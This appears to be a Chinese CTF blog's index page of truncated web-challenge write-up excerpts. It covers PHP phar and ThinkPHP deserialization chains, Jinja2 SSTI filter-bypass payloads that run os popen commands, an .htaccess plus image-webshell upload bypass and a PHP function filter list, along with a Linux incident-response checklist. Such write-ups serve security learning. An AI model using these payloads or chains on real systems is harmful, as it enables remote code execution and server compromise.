DASCTF-2024最后一战-WEB-复现
DASCTF 2024最后一战-web复现参考文章
strange_php
首先看到welcome.php的删除评论功能点可以自己传参文件名$message_path,跟进deleteMessage函数
传入后加上了.txt后缀,并且使用了file_exists()函数,这里可以联想到phar反序列化
紧挨着delete函数的__set魔术方法中含有file_get_contents()函数,并且能输出到已知的目录和文件名
_set由给类内一个不存在的属性赋值触发,由于PDO_connect.php给了我们数据库的连接参数,我们可以尝试进行覆盖来连接到自己的数据库
这里参考大佬给出的方法:如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。
这里提到的 262152 实际上是 PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE 的组合值(PDO::F ...
2024国赛
Safe_Proxy源代码改一下放到fenjing跑
1{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set ip='_'*2+'i''mport'+'_'*2%}{%set ak='so'[::-1]%}{{cycler.next[gl][bu][ip](ak)['p''open']('ls /').read()}}
没有回显可以直接把flag覆盖app.py
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins' ...
HECTF2024
HECTF2024 webbaby_unserialize分析过程:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586<?phperror_reporting(0);show_source(__FILE__);echo "flag in /flag</br>";class User{ public $name; public $passwd; public $msg; public $token = "guest"; public function __construct($name,$passwd){ $this->name = $name; $this->pass ...
DASCTF2022七月
DASCTF七月赋能赛WEB1.Ez to getflag
图片查看存在任意文件读取,可以读取到upload.php class.php index.php
文件上传点检测过滤$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
文件读取点过滤了'/http|https|file:|php:|gopher|dict|\.\./i'
看到class.php中存在危险函数include($door); 可以通过上传文件实现phar反序列化
Test:__destruct=>Upload:__tostring=>Show:__get=>show:__call=>backdoor()
poc ...
linux应急响应
Linux应急响应一、识别现象1234top #检查占用率高的可疑进程(>70%)枚举进程命令行:ps -aux #命令行中带有url等奇怪的字符串时注意while true; do netstat -antp | grep [ip]; done #监控与目标IP通信的进程history #遍历主机历史命令,查找有无恶意命令
有时安全网关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接用上述方法进行监控
我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。
二、清除病毒1234ps -elf | grep [pid]kill -9 [pid]#查找和清除可疑程序ls -al /proc/[pid]/exe#定位病毒进程对应的文件路径rm -f [exe_path]
三、闭环兜底检查是否存在可疑定时任务123456789101112crontab-l #枚举定时任务cat /etc/anacrontab #查看anacron异步定时任务systemctl status #检查是否存在可疑服务f ...
ThinkPHP5反序列化漏洞复现
一、ThinkPHP5.1.x反序列化链
1234Window对象__destruct ->removefiles()的file_exists(Pivot对象)->conversion对象的__tostring->toJson()->toArray()->[$relation->visible($name)#传入request对象调用__call方法]->call_user_func_array控制hook变量去访问isAjax函数->param函数->input函数(参数可控)->filtervalue函数->call_user_func完全可控RCE
poc:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748<?phpnamespace think;abstract class Model{ protected $append = []; private $dat ...
SCTF-web
SCTF-web扫目录得到robots.txt
12345678910111213User-agent: *Disallow: /issues/ganttDisallow: /issues/calendarDisallow: /activityDisallow: /searchDisallow: /issues?sort=Disallow: /issues?query_id=Disallow: /issues?*set_filter=Disallow: /issues/*.pdf$Disallow: /projects/*.pdf$Disallow: /loginDisallow: /account/registerDisallow: /account/lost_password
admin admin123456
2024长城杯
2024长城杯-wp
WEBsqlup先fuzz一波
过滤了–+,#,select,and ,or
输入admin 1进去了???(源代码的fuzzy matching实际上是用%%密码登录
点击头像有文件上传的点
过滤了字母p,导致无法上传.php文件,尝试了一下可以上传正常的gif文件
所以可以做一个gif的图片马
上传之后我们打开图片链接,就可以拿到图片的目录了
http://eci-2ze5wzpsckex64sy7i6f.cloudeci1.ichunqiu.com/uploads/2.gif
有了图片马该如何利用呢?想到了.htaccess文件可以更改文件的解析
我们上传一个.htaccess文件:SetHandler application/x-httpd-php
这样所有的文件都会当做php代码来解析
(蚁剑无法打开/flag文件,需要用tac指令显示!)
candyshop[未解出]{‘csrf_token’: ‘04d9a3ecee8267e5ce21f9377e99fd425144aa5f’, ‘identity’: ‘guest’, ‘ ...
'BaseCTF-web-wp'
BaseCTF-web[Week2] ez_ser源代码+poc
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263<?phphighlight_file(__FILE__);error_reporting(0);class re{ public $chu0; public function __toString(){ if(!isset($this->chu0)){ return "I can not believes!"; } $this->chu0->$nononono;#3 chu0=new pwn() }}class web {#5 public $kw; public $dt; pu ...
'ssti'
ssti刷题1.dasctf8月 Truemanflask模版注入,4有注入点
过滤了. _ \ [ ] "和各种关键字
https://github.com/Marven11/Fenjing这个工具可以直接绕过waff
生成的payload为
1{%set hd='OS'|lower%}{%set rz=lipsum|escape|batch(22)|first|last%}{%set gl=rz*2~'g''lobals'~rz*2%}{%set ge=rz*2~'g''etitem'~rz*2%}{%set bu=rz*2~'builtins'~rz*2%}{%set im=rz*2~'import'~rz*2%}{{(((((cycler|attr('next')|attr ...